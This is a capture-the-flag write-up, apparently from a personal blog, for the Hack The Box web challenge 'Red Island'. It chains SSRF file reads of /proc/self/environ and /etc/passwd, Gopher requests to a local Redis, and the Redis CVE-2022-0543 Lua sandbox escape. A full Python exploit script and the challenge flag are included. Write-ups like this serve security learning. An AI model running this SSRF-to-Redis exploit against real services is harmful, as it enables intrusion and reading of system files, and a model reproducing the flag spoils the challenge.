Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Web] Red Island

Red Island is an application where we can upload any image via their URL. The URL will be fetched, and the image turned red. For instance:

sloth

This calls for SSRF! We can either call Remote or Local Files. Let’s try it out with file:///proc/self/environ. This gives us access to all the pods deployed on Kubernetes.

environ

And now with file:///etc/passwd, all the users in the current docker pod:

passwd

We now know this is running a Redis cache. Well for Red Island, not surprising anymore!

In order to communicate with Redis from a SSRF, we can use the protocol Gopher. This article gives a great walk-through on how Gopher can be used to talk to Redis via a SSRF.

Now, there are a few vulnerabilities using Redis we could try to exploit. However:

Should

Redis CVE-2022-0543 allows to escape the sandbox and use LUA functions that can execute commands on the host running Redis.

Let’s try to use this in order to escalate our Gopher SSRF into code execution. We can use the SCRIPT LOAD and EVALSHA commands in order to provision scripts, get their SHA1, and execute them with arguments given by the EVALSHA command.

We can create scripts, using an URL encoded Gopher payload generation:

SCRIPT

We script the user registration, user login and payload generation for ease of use. However, using spaces is interpreted as different commands. Tis just a scratch, we can use LUA’s string.char(32) in order to generate spaces wherever we want.

#!/usr/bin/env python

import urllib.parse
import requests
import json
import sys
import time

headers = {"Content-Type": "application/json"}

def logout(session, host):
    logout_path = "/logout"
    session.get(host + logout_path)

def login(session, host, username, password):
    login_path = "/api/login"
    resp = session.post(host + login_path, json={'username':username,'password':password}, headers=headers)
    if resp.status_code == 200:
        print("[+] logged in")
        return True
    else:
        print("[-] login failed: {}".format(resp.status_code))
        return False

def register(session, host, username, password):
    reg_path = "/api/register"
    resp = session.post(host + reg_path, json={'username':username,'password':password}, headers=headers)
    if resp.status_code == 200:
        print("[+] registered")
        return True
    else:
        print("[-] register failed: {}".format(resp.status_code))
        return False

def generate(session, host, payload, username, password):
    generate_path = "/api/red/generate"
    resp = session.post(host + generate_path, json={"url": payload}, headers=headers)
    tries = 0
    max_tries = 5
    while tries < max_tries:
        try:
            text = json.loads(resp.text)
            if 'message' in text:
                if text['message'] == 'The URL specified is unreachable!':
                    print("[~] URL specificed unreachable, retrying")
                elif text['message'] == 'Authentication expired, please login again!':
                    print("[-] Auth expired, reloging")
                    login(session, host, username, password)
                else:
                    print(text['message'])
                    return True
        except Exception as e:
            print("[-] error: {}".format(str(e)))
            return False
        finally:
            tries += 1
            time.sleep(1)
    logout(session, host)

def generate_resp(command):
    res = ""
    if isinstance(command, list):
        pass
    else:
        command = command.split(" ")
    res += "*{}\n".format(len(command))
    for cmd in command:
        res += "${}\n".format(len(cmd))
        res += "{}\n".format(cmd)
    return res

def generate_gopher(payload):
    final_payload = "gopher://127.0.0.1:6379/_{}".format(urllib.parse.quote(payload))
    print("[+] generated {}".format(final_payload))
    return final_payload

def main():
    session = requests.Session()
    if len(sys.argv) != 4:
        print("[!] Usage: {} url username password".format(sys.argv[0]))
        exit()
    host = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    ret = register(session, host, username, password)
    ret = login(session, host, username, password)
    if ret:
        while True:
            res = ''
            string = input('> ')
            res += generate_resp(string)
            res += generate_resp('quit')
            res = res.replace("\n","\r\n")
            ret = generate(session, host, generate_gopher(res), username, password)
    else:
        print("[-] exiting")
        exit()

main()

Using the script as a Redis CLI together with our whitespace bypass, we can create any script we want, such as:

For instance, with the 2 args command:

Flag 1

Or the arbitrary read:

Flag 2

The flag is HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}